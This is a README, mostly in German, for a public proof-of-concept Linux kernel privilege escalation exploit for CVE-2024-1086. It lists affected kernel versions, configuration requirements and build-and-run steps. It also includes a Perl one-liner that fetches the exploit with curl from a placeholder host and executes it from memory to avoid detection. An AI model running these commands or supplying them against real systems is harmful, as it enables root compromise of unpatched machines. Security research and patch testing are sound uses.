
Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.
Universeller Proof-of-Concept-Exploit zur lokalen Privilegienausweitung für CVE-2024-1086, der auf den meisten Linux-Kerneln zwischen v5.14 und v6.6 funktioniert, einschließlich Debian, Ubuntu und KernelCTF. Die Erfolgsrate beträgt 99,4% in KernelCTF-Images.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Eine vollständige Ausarbeitung des Exploits – einschließlich Hintergrundinformationen und zahlreicher nützlicher Diagramme – findet sich im Flipping Pages Blogbeitrag.
Der Exploit betrifft Versionen von (einschließlich) v5.14 bis (einschließlich) v6.6, mit Ausnahme der gepatchten Zweige v5.15.149>, v6.1.76>, v6.6.15>. Der Patch für diese Versionen wurde im Februar 2024 veröffentlicht. Die zugrunde liegende Schwachstelle betrifft alle Versionen (außer gepatchten stabilen Zweigen) von v3.15 bis v6.8-rc1.
Einschränkungen:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (einschließlich Ubuntu v6.5)CONFIG_USER_NS=y), dass diese User Namespaces unprivilegiert sind (sh-Befehl sysctl kernel.unprivileged_userns_clone = 1) und dass nf_tables aktiviert ist (kconfig CONFIG_NF_TABLES=y). Standardmäßig sind diese alle auf Debian, Ubuntu und KernelCTF aktiviert. Andere Distributionen wurden nicht getestet, könnten aber ebenfalls funktionieren. Zusätzlich wurde der Exploit nur auf x64/amd64 getestet.Die Standardwerte sollten auf Debian, Ubuntu und KernelCTF mit einer lokalen Shell sofort funktionieren. Bei nicht getesteten Setups/Distributionen stellen Sie bitte sicher, dass die kconfig-Werte mit dem Zielkernel übereinstimmen. Diese können in src/config.h angegeben werden. Wenn Sie den Exploit auf einem Rechner mit mehr als 32 GiB Arbeitsspeicher ausführen, erhöhen Sie unbedingt CONFIG_PHYS_MEM. Wenn Sie den Exploit über SSH (auf dem Testrechner) oder eine Reverse Shell ausführen, möchten Sie möglicherweise CONFIG_REDIRECT_LOG auf 1 setzen, um unnötige Netzwerkaktivität zu vermeiden.
Falls dies für Sie unpraktisch ist, gibt es eine kompilierte x64-Binärdatei mit der Standardkonfiguration.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Binärdatei: CVE-2024-1086/exploit
Das Ausführen des Exploits ist genauso trivial:
./exploit
Dateilose Ausführung wird ebenfalls unterstützt, für den Fall von Pentest-Situationen, in denen Erkennung vermieden werden muss. Perl muss jedoch auf dem Ziel installiert sein:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Die Programme und Skripte („Programme“) in diesem Softwareverzeichnis/-ordner/-Repository („Repository“) werden ausschließlich zu Bildungs- und Forschungszwecken veröffentlicht, entwickelt und verteilt. Ich („der Ersteller“) befürworte keine böswillige oder illegale Nutzung der Programme in diesem Repository, da die Absicht darin besteht, Forschung zu teilen und keine illegalen Aktivitäten damit durchzuführen. Ich bin nicht rechtlich verantwortlich für alles, was Sie mit den Programmen in diesem Repository tun.